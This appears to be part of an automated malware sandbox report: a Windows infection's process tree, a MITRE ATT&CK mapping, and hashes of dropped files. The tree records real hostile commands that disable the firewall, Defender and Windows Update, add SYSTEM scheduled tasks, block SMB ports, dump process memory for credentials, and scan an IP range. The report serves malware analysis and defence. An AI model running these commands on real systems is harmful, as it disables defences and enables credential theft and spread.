- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "wcbaitbbb" /ru system /tr "cmd /c echo Y|cacls C:\Windows\izvjmbrb\mwebabk.exe /p everyone:F"
  2⤵
  PID:2988
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4848
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "wcbaitbbb" /ru system /tr "cmd /c echo Y|cacls C:\Windows\izvjmbrb\mwebabk.exe /p everyone:F"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1084
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "gwenlyqcd" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\heglkltzt\cllalu.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3896
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4904
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "gwenlyqcd" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\heglkltzt\cllalu.exe /p everyone:F"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:3800
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4472
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3532
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:668
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3708
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2948
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4384
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4388
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2944
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2504
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2076
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1064
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4016
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop SharedAccess
  2⤵
  PID:4692
- - C:\Windows\SysWOW64\net.exe
    net stop SharedAccess
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2444
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SharedAccess
      4⤵
      System Location Discovery: System Language Discovery
      PID:5052
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh firewall set opmode mode=disable
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3768
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall set opmode mode=disable
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:808
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh Advfirewall set allprofiles state off
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2728
- - C:\Windows\SysWOW64\netsh.exe
    netsh Advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:1464
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop MpsSvc
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1532
- - C:\Windows\SysWOW64\net.exe
    net stop MpsSvc
    3⤵
    PID:4352
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MpsSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:3284
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop WinDefend
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3300
- - C:\Windows\SysWOW64\net.exe
    net stop WinDefend
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1644
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      System Location Discovery: System Language Discovery
      PID:4584
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop wuauserv
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5036
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4340
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      PID:4708
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config MpsSvc start= disabled
  2⤵
  PID:4188
- - C:\Windows\SysWOW64\sc.exe
    sc config MpsSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:4528
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config SharedAccess start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5048
- - C:\Windows\SysWOW64\sc.exe
    sc config SharedAccess start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2068
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config WinDefend start= disabled
  2⤵
  PID:3840
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:4864
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config wuauserv start= disabled
  2⤵
  PID:1016
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:1084
- C:\Windows\TEMP\vtecbbeeu\tzntbfcjz.exe
  C:\Windows\TEMP\vtecbbeeu\tzntbfcjz.exe -accepteula -mp 784 C:\Windows\TEMP\vtecbbeeu\784.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2960
- C:\Windows\TEMP\xohudmc.exe
  C:\Windows\TEMP\xohudmc.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:556
- C:\Windows\TEMP\vtecbbeeu\tzntbfcjz.exe
  C:\Windows\TEMP\vtecbbeeu\tzntbfcjz.exe -accepteula -mp 336 C:\Windows\TEMP\vtecbbeeu\336.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:752
- C:\Windows\TEMP\vtecbbeeu\tzntbfcjz.exe
  C:\Windows\TEMP\vtecbbeeu\tzntbfcjz.exe -accepteula -mp 2096 C:\Windows\TEMP\vtecbbeeu\2096.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1312
- C:\Windows\TEMP\vtecbbeeu\tzntbfcjz.exe
  C:\Windows\TEMP\vtecbbeeu\tzntbfcjz.exe -accepteula -mp 2628 C:\Windows\TEMP\vtecbbeeu\2628.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2820
- C:\Windows\TEMP\vtecbbeeu\tzntbfcjz.exe
  C:\Windows\TEMP\vtecbbeeu\tzntbfcjz.exe -accepteula -mp 2832 C:\Windows\TEMP\vtecbbeeu\2832.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3196
- C:\Windows\TEMP\vtecbbeeu\tzntbfcjz.exe
  C:\Windows\TEMP\vtecbbeeu\tzntbfcjz.exe -accepteula -mp 2920 C:\Windows\TEMP\vtecbbeeu\2920.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3768
- C:\Windows\TEMP\vtecbbeeu\tzntbfcjz.exe
  C:\Windows\TEMP\vtecbbeeu\tzntbfcjz.exe -accepteula -mp 3116 C:\Windows\TEMP\vtecbbeeu\3116.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3740
- C:\Windows\TEMP\vtecbbeeu\tzntbfcjz.exe
  C:\Windows\TEMP\vtecbbeeu\tzntbfcjz.exe -accepteula -mp 3876 C:\Windows\TEMP\vtecbbeeu\3876.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1504
- C:\Windows\TEMP\vtecbbeeu\tzntbfcjz.exe
  C:\Windows\TEMP\vtecbbeeu\tzntbfcjz.exe -accepteula -mp 3968 C:\Windows\TEMP\vtecbbeeu\3968.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4020
- C:\Windows\TEMP\vtecbbeeu\tzntbfcjz.exe
  C:\Windows\TEMP\vtecbbeeu\tzntbfcjz.exe -accepteula -mp 4032 C:\Windows\TEMP\vtecbbeeu\4032.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4824
- C:\Windows\TEMP\vtecbbeeu\tzntbfcjz.exe
  C:\Windows\TEMP\vtecbbeeu\tzntbfcjz.exe -accepteula -mp 780 C:\Windows\TEMP\vtecbbeeu\780.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:688
- C:\Windows\TEMP\vtecbbeeu\tzntbfcjz.exe
  C:\Windows\TEMP\vtecbbeeu\tzntbfcjz.exe -accepteula -mp 3052 C:\Windows\TEMP\vtecbbeeu\3052.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4028
- C:\Windows\TEMP\vtecbbeeu\tzntbfcjz.exe
  C:\Windows\TEMP\vtecbbeeu\tzntbfcjz.exe -accepteula -mp 4476 C:\Windows\TEMP\vtecbbeeu\4476.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4160
- C:\Windows\TEMP\vtecbbeeu\tzntbfcjz.exe
  C:\Windows\TEMP\vtecbbeeu\tzntbfcjz.exe -accepteula -mp 1080 C:\Windows\TEMP\vtecbbeeu\1080.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3264
- C:\Windows\TEMP\vtecbbeeu\tzntbfcjz.exe
  C:\Windows\TEMP\vtecbbeeu\tzntbfcjz.exe -accepteula -mp 3188 C:\Windows\TEMP\vtecbbeeu\3188.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3748
- C:\Windows\TEMP\vtecbbeeu\tzntbfcjz.exe
  C:\Windows\TEMP\vtecbbeeu\tzntbfcjz.exe -accepteula -mp 4208 C:\Windows\TEMP\vtecbbeeu\4208.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1600
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\vtecbbeeu\vltbqcbqt\scan.bat
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3048
- - C:\Windows\vtecbbeeu\vltbqcbqt\qnbbltzyb.exe
    qnbbltzyb.exe TCP 181.215.0.1 181.215.255.255 7001 512 /save
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:3516
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3156
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2212
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5184
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4368
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4900
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3672
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5456

C:\Windows\SysWOW64\kcuyyg.exe
C:\Windows\SysWOW64\kcuyyg.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:4512

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\mwebabk.exe
1⤵
PID:1908
- C:\Windows\ime\mwebabk.exe
  C:\Windows\ime\mwebabk.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:1608

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\izvjmbrb\mwebabk.exe /p everyone:F
1⤵
PID:2232
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:2504
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\izvjmbrb\mwebabk.exe /p everyone:F
  2⤵
  PID:2192

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\heglkltzt\cllalu.exe /p everyone:F
1⤵
PID:2488
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:4764
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\heglkltzt\cllalu.exe /p everyone:F
  2⤵
  PID:844

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\mwebabk.exe
1⤵
PID:5412
- C:\Windows\ime\mwebabk.exe
  C:\Windows\ime\mwebabk.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:5408

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\izvjmbrb\mwebabk.exe /p everyone:F
1⤵
PID:5784
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:4360
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\izvjmbrb\mwebabk.exe /p everyone:F
  2⤵
  PID:1972

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\heglkltzt\cllalu.exe /p everyone:F
1⤵
PID:1924
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:2472
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\heglkltzt\cllalu.exe /p everyone:F
  2⤵
  PID:6100

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

OS Credential Dumping

T1003

LSASS Memory

T1003.001

Discovery

Network Service Discovery

T1046

Network Share Discovery

T1135

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\SysWOW64\Packet.dll

Filesize
95KB

MD5
86316be34481c1ed5b792169312673fd

SHA1
6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5

SHA256
49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918

SHA512
3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc

Download Submit
C:\Windows\SysWOW64\wpcap.dll

Filesize
275KB

MD5
4633b298d57014627831ccac89a2c50b

SHA1
e5f449766722c5c25fa02b065d22a854b6a32a5b

SHA256
b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

SHA512
29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3

Download Submit
C:\Windows\TEMP\heglkltzt\config.json

Filesize
693B

MD5
f2d396833af4aea7b9afde89593ca56e

SHA1
08d8f699040d3ca94e9d46fc400e3feb4a18b96b

SHA256
d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34

SHA512
2f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01

Download Submit
C:\Windows\TEMP\vtecbbeeu\1080.dmp

Filesize
8.7MB

MD5
208f917bc0646e963f0a262154e87c4f

SHA1
46e42c08a645e13d3335bec3b9ec26683de0895d

SHA256
f5f7d6840f2aa2629b93c83d8156fb1500f07a51c215d9a6f3fc321cb4ebfbbe

SHA512
6b81a6f89c18eb04e41ccfa121e7915c72506ea9793bce43d8b11152c9e6d1fd50bbee7cd98573063654a39cff910b552f0568803153dd537530a9e3427ac1ad

Download Submit
C:\Windows\TEMP\vtecbbeeu\2096.dmp

Filesize
4.1MB

MD5
1af6f40f9a2f1530b2484670b947bed6

SHA1
068713c0e257e4d65a8381cb4465a875c4280e03

SHA256
116dbd8e7836141713dbf269109c6d7db1c467f3107e5266e3d47f538244954b

SHA512
4130e182f2092b345e3a6b8c2376848a26feda9352ef9764bf99c90ede5e370261ec56fa06141c5fa5ad5842a23cffbd76197781a1716d5c183868e03ad3c6c9

Download Submit
C:\Windows\TEMP\vtecbbeeu\2628.dmp

Filesize
3.9MB

MD5
26857caa8fd74fd503e506a601c93ba9

SHA1
61fac30a8237951d0c16ad364491376052f721ea

SHA256
c1dfba7638274f3517a0b0efc0763578c02d5dacab5ea4b58064087018b2e9c5

SHA512
2a5744ef4f93607ede701aaf5c007c6dd866644e6b5ab86482b58d09d09605f3aa8c6d05075f4caa8536c040d375592786ec67c275d1b713255141645a8a0ce1

Download Submit
C:\Windows\TEMP\vtecbbeeu\2832.dmp

Filesize
7.4MB

MD5
f6034eb294cc92f0d9867a14967f9409

SHA1
36013f17d00b9d9038381c1f9ebb79688ecfc31a

SHA256
f4ac7e111f3d538ec70e3045fb52d56ec4cdde675ee88191ada1a362e9c18aaa

SHA512
9f68efa70b1623174fc85844b1ba3080b96f380db7128da5a8c54f278743911d9a87e05b7b9916c1ba437a65f1e769b38dc9f7a3c0cb70c7987b16ceda3ad88c

Download Submit
C:\Windows\TEMP\vtecbbeeu\2920.dmp

Filesize
2.9MB

MD5
897b46525d5faba52db84e36785acbe5

SHA1
6169178f4f8988d91221a342965a779e68a3a0dd

SHA256
fe7167d73d9217df014e1df11d63fce0f551484f6631b589f2bd9fc06d32021e

SHA512
4733407855ed90da35b9029ef813c4ec8cc52d5ba704899bb5674872c1586f009f95775605f499674af7c9dc5a8cda8be0a39f71ebfb074b9b01c751d8808a17

Download Submit
C:\Windows\TEMP\vtecbbeeu\3052.dmp

Filesize
1.2MB

MD5
42c7553f7549bc53fc53d1008ff47503

SHA1
d742ef1d45fb17792d7f48d2339b3e892aa2f00d

SHA256
82b20fc9bac7ec9f7948eed2a3b4fdf5f95f5be25fa4402c6a07e33c333a0dc2

SHA512
15aca32a83f5732fe765d73c54093843ce36cdf507e53a0909f5aa97d996c93a0c7c591ee6970891b0589d15cd9bd8418fb4eb9ce3ae6f63dd74aae7fcd90318

Download Submit
C:\Windows\TEMP\vtecbbeeu\3116.dmp

Filesize
810KB

MD5
2222bb9eb48e2a274ed521816e2a48ee

SHA1
275a458f5ad1ff01d8bfa93895984a4e7cc9ed03

SHA256
333882e78f2ecbb5dd3ae678ef740d2ac7157c356a86e865d5d42f9e4ba21049

SHA512
ad2f9b4c2047c7998902c859596794a85748ae477cb1b74f9c56ea24fe087c9a83a1ef333f029acea49f2ac7f4ef8a1f4b5919f2592cd14900eb0fd59b705a71

Download Submit
C:\Windows\TEMP\vtecbbeeu\336.dmp

Filesize
33.4MB

MD5
8cfd41c36e6f03bf43fc66a1f7172b88

SHA1
dc69f9f5e48ae6f79ddc545f81c4e2fb3bbca4e5

SHA256
d52fe5f037c6a4a45a1e70b21300614b95e131676f0739a2a330f0b7a1753541

SHA512
ffad72aeb53bd2fa12d8de0c9456ef695a913c9e89633f47459abf25deb0f7025922c4a49659a6a7a7ef423f3683c7803b493cb00fe43293753440d3f0614b4a

Download Submit
C:\Windows\TEMP\vtecbbeeu\3876.dmp

Filesize
2.6MB

MD5
e5423ec6b072a5d88b932f89796ce73d

SHA1
90a0f133da47ce43d27665431ed8251113814ef6

SHA256
0aa4831f6ef896bf590fe7410c19ae8ad9be57b9906fdf4949603341098933f2

SHA512
fcc2f1b68b14b9ac32d2f2b95d1f1fba01c8f884038851b7c672efe59864f716d9042f80f3c8cf3f6fb38d725dacb501fa297b020ed7de1ee9ce7c1a1ec6ac91

Download Submit
C:\Windows\TEMP\vtecbbeeu\3968.dmp

Filesize
20.0MB

MD5
85e6fa25b43bab7e447574dff5576fad

SHA1
07cd0f0f06f43572f4d8be71b8f71e45f2f77c79

SHA256
6529a0162b823bbca055e061e1154dd005b6779a3b4eef4ce6f16ee2ed528fe8

SHA512
daaa38b56ff57bcc8165da1933e42e12fcb7fe0e545112df6bc4af7793b10edbce1b241b583c7141872f0c69312f5d839741f3ecb7626ff93eb3ec3bccf2ff5e

Download Submit
C:\Windows\TEMP\vtecbbeeu\4032.dmp

Filesize
4.2MB

MD5
4fb0c45186b9051e2d2829f61bae0e60

SHA1
57e17ef9a3b4e138ede000ebf9f0d2fc6ec2e2ec

SHA256
09bb474f282eb61e86db2669abc12465ad6b5eb06ff0a24bd6a022c0c548a640

SHA512
e355775257afc562aa563889b7008757b827a27bfe6b4d5433162c264ddf70895bca6ab8afb98a64e42107064021e0a309002a589d23224bed3e737599f6ab91

Download Submit
C:\Windows\TEMP\vtecbbeeu\4476.dmp

Filesize
25.9MB

MD5
48d16c52805130b811fa5e63038c50df

SHA1
c6ab8a67b0f8f2762089714c9d36b008881380ed

SHA256
d34a8de070a5d85734c531ae058e3439bb2e284ab34defbcbc77787ad1f4d4fd

SHA512
69c6cce12a37ac664f43e2922b941c3f83257d54c23918bc7afcbb9b06ede69b2f19a0cf20c9a6dc23f69f75a52b99d95dfb49cdbadfdbcb1e5d7322ba955c4c

Download Submit
C:\Windows\TEMP\vtecbbeeu\780.dmp

Filesize
43.9MB

MD5
50a5d0b4ca749ef7345d9e4feb1a278c

SHA1
6ddf22b5fc2da58b019fc4c0dcbee08a0f565cb0

SHA256
2ed4d0633e6cb0392764bad66e93517da7a5377f167c07de647efcb48c38a457

SHA512
3ee0cf787db63f610797610c589ecf06721b129524c3fc46c90573e5380ab030c22f39867d8d31588a1450d4faa7c7eca6d8013d606bd388e3a7bd7318eed947

Download Submit
C:\Windows\TEMP\vtecbbeeu\784.dmp

Filesize
1019KB

MD5
0926d7f61d40eac075ceee48f846e5aa

SHA1
8f22e9f97952a5b01bb6f98f807f63f58a4b7e37

SHA256
ac8a57d982c16e9fdf3fccb3c031eceaeba4c431bae3ec6e5326ee6470613809

SHA512
fa7921bb74103c2a15cae66d5f3b653f4c930a3f08d6d047b45ae5e919503f9a1a29341f7081427c973c064ded7d69a4a313221c11313ab2b725678a66ca321b

Download Submit
C:\Windows\Temp\heglkltzt\cllalu.exe

Filesize
343KB

MD5
2b4ac7b362261cb3f6f9583751708064

SHA1
b93693b19ebc99da8a007fed1a45c01c5071fb7f

SHA256
a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23

SHA512
c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616

Download Submit
C:\Windows\Temp\nsuDE4C.tmp\System.dll

Filesize
11KB

MD5
2ae993a2ffec0c137eb51c8832691bcb

SHA1
98e0b37b7c14890f8a599f35678af5e9435906e1

SHA256
681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59

SHA512
2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9

Download Submit
C:\Windows\Temp\nsuDE4C.tmp\nsExec.dll

Filesize
6KB

MD5
b648c78981c02c434d6a04d4422a6198

SHA1
74d99eed1eae76c7f43454c01cdb7030e5772fc2

SHA256
3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

SHA512
219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2

Download Submit
C:\Windows\Temp\vtecbbeeu\tzntbfcjz.exe

Filesize
126KB

MD5
e8d45731654929413d79b3818d6a5011

SHA1
23579d9ca707d9e00eb62fa501e0a8016db63c7e

SHA256
a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af

SHA512
df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6

Download Submit
C:\Windows\Temp\xohudmc.exe

Filesize
72KB

MD5
cbefa7108d0cf4186cdf3a82d6db80cd

SHA1
73aeaf73ddd694f99ccbcff13bd788bb77f223db

SHA256
7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9

SHA512
b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1

Download Submit
C:\Windows\izvjmbrb\mwebabk.exe

Filesize
13.7MB

MD5
667c3846bcccb02e2738cf300222d6db

SHA1
fb1c1c0426eda6d792ce584245acda9c05c2c954

SHA256
c08b43ec15e31f3e8a296b3340c86270d10c95a062052f7aaf3dd7de2110b25e

SHA512
7c765e1e016436171b273964e0e41f18abccb1589e3d73a3c55880f553a4e4f905c0c99d8b0fc21d54cdd01d408aac5b0d73fd7f42bf7ec8537019c8d19629ec

Download Submit
C:\Windows\system32\drivers\etc\hosts

Filesize
1KB

MD5
c838e174298c403c2bbdf3cb4bdbb597

SHA1
70eeb7dfad9488f14351415800e67454e2b4b95b

SHA256
